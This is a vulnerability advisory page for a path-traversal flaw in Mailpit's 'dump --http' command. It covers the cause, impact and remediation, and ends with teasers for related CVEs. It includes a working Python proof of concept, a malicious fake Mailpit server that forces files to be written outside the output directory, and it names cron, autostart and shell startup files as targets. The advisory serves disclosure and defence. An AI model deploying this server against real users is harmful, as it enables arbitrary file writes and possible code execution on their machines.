Mailpit CVE-2026-45711
MEDIUMSeverity by source
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.
Details
Anyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. - anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.
Affected code
path.Join("/safe/out/dir", "../../../../etc/cron.d/payload.eml") resolves to /etc/cron.d/payload.eml - the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.
The underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated - the operator only supplies a URL.
PoC
- Run a malicious "Mailpit" server that returns one message whose ID contains .. segments:
# evil-mailpit.py
import http.server, json
class Evil(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if "/api/v1/messages" in self.path:
resp = {
"total": 1, "unread": 0, "count": 1,
"messages_count": 1, "messages_unread": 0,
"start": 0, "tags": [],
"messages": [{
"ID": "../../../../tmp/mailpit-pwn",
# ← traversal
"MessageID": "x", "Read": False,
"From": {"Name": "", "Address": "a@b"},
"To": [{"Name": "", "Address": "c@d"}],
"Cc": None, "Bcc": None, "ReplyTo": [],
"Subject": "evil",
"Created": "2026-01-01T00:00:00Z",
"Tags": [], "Size": 5,
"Attachments": 0, "Snippet": ""
}]
}
body = json.dumps(resp).encode()
ctype = "application/json"
elif "/raw" in self.path:
body = b"PWNED BY MAILPIT DUMP TRAVERSAL\n"
ctype = "text/plain"
else:
self.send_response(404); self.end_headers(); return
self.send_response(200)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
http.server.HTTPServer(("127.0.0.1", 19090), Evil).serve_forever()$ python3 evil-mailpit.py &
$ mkdir -p /tmp/dump-out
$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out- Observe the file was written outside the requested output directory:
$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml
/tmp/dump-out/ ← empty
total 0
-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml
$ cat /tmp/mailpit-pwn.eml
PWNED BY MAILPIT DUMP TRAVERSALThe same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.
Impact
Arbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges.
AnalysisAI
Arbitrary file write via path traversal in Mailpit's dump --http subcommand (versions < 1.30.0) allows any HTTP server impersonating a Mailpit instance to write attacker-controlled bytes to arbitrary paths outside the intended output directory. The attacker controls both the file path (via the message ID field in the JSON response) and the file contents (via the raw message body endpoint), enabling writes anywhere the dumping user has write permission - including cron jobs, shell startup files, and CI artifact directories. Publicly available exploit code exists (Python PoC published in GHSA-qx5x-85p8-vg4j); no confirmed active exploitation at time of analysis.
Technical ContextAI
The affected component is internal/dump/dump.go in the Mailpit Go application (pkg:go/github.com/axllent/mailpit). The dump --http subcommand paginates through a remote Mailpit API at /api/v1/messages, takes the m.ID field verbatim from the JSON response, and constructs the output path via Go's path.Join(outDir, m.ID + ".eml"). Go's path.Join silently normalizes .. segments rather than rejecting them, meaning a server-supplied ID of ../../../../etc/cron.d/payload resolves cleanly to /etc/cron.d/payload.eml. The implementation contains no filepath.Rel(outDir, out) containment check, no character allow-list on m.ID, and no body-size cap on the /api/v1/message/<id>/raw response. This is a textbook CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) instance. The underlying trust model assumes the remote endpoint is a legitimate, trusted Mailpit instance, but no cryptographic or structural validation of that trust is performed - any HTTP server that mimics the Mailpit JSON API shape can exploit this path.
RemediationAI
Upgrade to Mailpit v1.30.0 or later immediately; the vendor release notes explicitly state 'This release includes an important security fix, so upgrading is strongly recommended' (https://github.com/axllent/mailpit/releases/tag/v1.30.0). v1.30.0 is confirmed to fix GHSA-qx5x-85p8-vg4j along with three other security issues patched in the same release. If an immediate upgrade is not feasible, cease all use of mailpit dump --http as the sole effective compensating control - this eliminates the attack surface entirely since the path traversal is specific to this subcommand and cannot be triggered by Mailpit's SMTP, web UI, or API endpoints. Do not run dump operations against endpoints reachable over plain HTTP (non-TLS) on untrusted network segments, as MITM interception is a primary attack vector. There is no in-place configuration workaround that preserves dump functionality while mitigating the traversal; disabling the subcommand is the only viable interim measure.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-qx5x-85p8-vg4j